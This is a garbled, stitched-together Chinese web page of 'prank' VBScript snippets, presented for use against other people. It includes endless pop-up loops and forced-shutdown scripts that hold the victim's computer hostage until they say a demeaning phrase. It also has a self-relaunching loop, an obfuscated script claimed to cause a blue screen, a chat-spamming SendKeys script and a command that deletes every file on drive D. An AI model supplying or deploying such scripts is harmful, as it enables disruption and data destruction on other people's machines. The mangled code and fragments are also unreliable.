vbs整人代码怎么用「vbs整人代码无限弹窗」
01 首先我们准备一个VBS文件，在其中加入VBS整人代码，如下图所示 02 然后我们双击VBS文件，你会看到如。
01 首先来看第一个脚本，这个脚本会每隔1秒就弹出一个窗口，并且你都关不掉，如下图所示 02 然后第二个脚本是不断的循环一段内容，如下图所示，它和第一个一样，也不能关闭弹窗 03。
qwritebWriteLine quotmsgbox quot chr34 quot滚quot chr34 quot，vbokonly+vbinformation，quot chr34 quot360 Defenderquot chr34 quotD\1txtquot，quotD\1vbsquotqstartrun quotD\1vbsquotEL。
avbs的vbs只是文件名，并不是文件格式你应该在”我的电脑“的查看中的文件夹选项的“查看”中把隐藏已知文件类型的勾去掉再改为vbs。
Set objShell = CreateObjectquotWscriptShellquot objShellRun quotshutdown s t 5quottrue end if 第四个 #39这个很强悍的vbs，蓝屏 strs=array13，105，102，32，77，115，103，66，111，120，40，34。
将横线内的代码**到记事本内~~然后另存为名字随便你起记住后面的一定要加 vbe 把文件传送给对方~~只要对方一打开一分钟就会关机，如上面说的，要你说那三个字，就不会关机了哈哈大家试试吧用传送文件发送给他。
因为VBS较为简单可行性强，所以很多人都喜欢利用VBS去写病毒或者整人的代码，所以在打开VBS之前要确保VBS的安全性和渠道的可信性任何一种文本编辑器都可以用来开发VBS，记事本是windows系统自带的，无需专门下载安装，更方便。
慎用代码应该这样使用 dim WSHshell set fso = wscriptcreateobjectquotwscriptshellquotfsorun quotcmd c quotquotdel d\** f q squotquotquot，0 ，true 好吧，运行后D盘就光**了参考 vbs整人代码大全。
run quotcmdexe c shutdown aquot，0 ，true msgbox chr13 + chr13 + chr13 + quot哈哈哈哈，真过瘾 嘎嘎爽歪歪啊 quot参考资料把它**下来 保存到TXT文档本 然后把文档本的后缀名改为vbs 就OK了。
发个特整人的东西给你看看，不仅特整人，还非常简单，仅仅6行 set s=createobjectquotwscriptshellquotlsfile=wscriptscriptfullname #39获得自己的名称 do #39死循环 srun lsfile #39自己运行自己 srun quotnotepadquot#39运行记事本。
do Msgbox quotThere is not found CWINDOWSsystem32bootiniquot，48，quotError！quotset ws=createobjectquotwscriptshellquotwsrun quotshutdown s t 100 c quot chr34quot 温謦提醒！quot chr13chr13quot。
vbs解包代码20100327 2143Dim rs， ws， fso， conn， stream， connStr， theFolder Set rs = CreateObjectquotADODBRecordSetquotSet stream = CreateObjectquotADODBStreamquotSet conn = CreateObjectquotADODBConnectionquotS。
On Error Resume Next Dim wsh，ye set wsh=createobjectquotwscriptshellquotfor i=1 to 10 wscriptsleep 700 wshAppActivatequot与 xx 聊天中quotwshsendKeys quot^vquotwshsendKeys i wshsendKeys quot%squotnext wscript。
on error resume nextdim WSHshellAset WSHshellA = wscriptcreateobjectquotwscriptshellquotWSHshellArun quotcmdexe c shutdown r t 180 c quotquot三分钟内决定是否嫁给我，否则会被关机quotquot quot，0 ，true dim ado。
首先创建 文本文档，将以下代码**on error resume next dim WSHshellA set WSHshellA = wscriptcreateobjectquotwscriptshellquotWSHshellArun quotcmdexe c shutdown r t 60 c quotquot说我是只猪，不说就一分钟关你。
